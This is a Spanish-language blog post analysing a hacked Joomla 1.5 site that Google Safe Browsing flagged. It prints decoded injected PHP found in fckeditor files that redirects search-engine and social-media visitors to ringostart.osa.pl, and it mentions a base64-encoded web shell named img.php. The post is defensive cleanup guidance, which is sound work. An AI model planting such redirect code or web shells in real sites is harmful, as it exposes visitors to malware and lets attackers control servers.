Inyección de código php ofuscado provoca redirección a sitios con malware

Es muy probable que en algún momento nos hayamos encontrado con una advertencia como la siguiente:

Nuestro navegador muestra estas advertencias cuando visitamos sitios que contienen malware o si se trata de sitios phishing. En este caso, el navegador Google Chrome, hace uso del servicio Google Safe Browsing, que en esencia es una base de datos que lista sitios denunciados como maliciosos.

El problema comienza cuando dicha advertencia hace referencia a un sitio que nosotros controlamos. Es natural que los usuarios de nuestro sitio experimenten cierta desconfianza al encontrarse con esta advertencia, llevándolos incluso a no visitarlo más, teniedo como consecuencia que la reputación y la utilidad del sitio se vean afectadas.

¿Qué hacer para lograr que nuestro sitio deje de mostrar dichas advertencias?

Como primer paso, se recomienda revisar el enlace “Página de diagnóstico de Safe Browsing de Google”, que se encuentra en la misma advertencia, para obtener más información:

Podemos ver que aunque nuestro sitio no haya alojado software malicioso, sí provoca la descarga de malware cuando se visitan ciertas páginas.

De esta forma, para buscar el origen del problema se tomaron como base los nombres de los sitios “ringostart.osa.pl” y “ciscotred.cz.cc”.

Además, si se es el propietario del sitio, Google brinda información un poco más detallada y permite solicitar una revisión con las “Herramientas para webmasters de Google”.

En la siguiente imagen, se muestra información referente a las URL problemáticas de acuerdo a la revisión de Google:

Con lo anterior, se tienen dos pistas sobre lo que causa que el sitio despliegue la advertencia mencionada:

1.      Los nombres de los sitios hacia los cuales se realiza la redirección.

2.      Las URL's problemáticas desde las cuales se lleva a cabo la redirección.

Al realizar una búsqueda de cadenas de texto sobre la carpeta que contiene las páginas del sitio (utilizando la herramienta grep), incluyendo la base de datos, no hubo éxito con los términos “ringostart.osa.pl” y “ciscotred.cz.cc”.

Si buscamos en Google, alguno de los nombres de los sitios maliciosos, encontramos que se  recomienda hacer una búsqueda de código php ofuscado, en particular expresiones que contengan la cadena “eval(base64_decode)”. La expresión anterior permite utilizar código php que ha sido transformado a una codificación conocida como base64, lo cual dificulta la búsqueda de cadenas en texto claro.

Siguiendo esta recomendación, se realizó la búsqueda en cada archivo de la carpeta que contiene los documentos del sitio web (en este caso htdocs) y se halló que en los archivos llamados fckeditor.class.php, fckeditor.legacy.phpfckeditor.php y legacy.fckeditor.php se encontraba insertado, en la parte superior, código de este tipo, como se muestra en la siguiente imagen:

Cuando se decodifica dicho código representa lo siguiente:

error_reporting(0); $nccv=headers_sent(); if (!$nccv){
$referer=$_SERVER['HTTP_REFERER'];
$ua=$_SERVER['HTTP_USER_AGENT'];
if (stristr($referer,"twitter") or stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing") or stristr($referer,"ask.com") or stristr($referer,"msn") or stristr($referer,"live") or stristr($referer,"facebook")) {
       if (!stristr($referer,"cache") or !stristr($referer,"inurl")){           
             header("Location: http://ringostart.osa.pl/");
             exit();
       }
}
}
  

El código anterior verifica que se está ingresando a nuestro sitio desde otra referencia, por ejemplo yahoo google, y en ese caso realiza la redirección al sitio ringostart.osa.pl .

Así mismo, en la carpeta htdocs/images se encontró un archivo llamado “img.php” que también contiene código php en base64:

El cual al ser interpretado genera una interfaz web que permite la ejecución de comandos de shell en el sistema:

 

Resolviendo el problema

Una solución temporal es borrar el código malicioso de los archivos afectados y en el caso del archivo “img.php” eliminarlo por completo.

Un factor a considerar en este caso es que el servidor utiliza Joomla como sistema de gestión de contenido, cuya versión es la 1.5 considerada obsoleta.

Por lo anterior, lo más recomendable es actualizar Joomla a la versión más reciente, así como el sistema operativo y realizar un hardening al servidor.

Después de la eliminación del código malicioso en los archivos afectados, puede solicitarse una revisión por parte de Google Safe Browsing y si el problema se solucionó correctamente, en cuestión de horas el navegador dejará de mostrar la advertencia al cargar la página.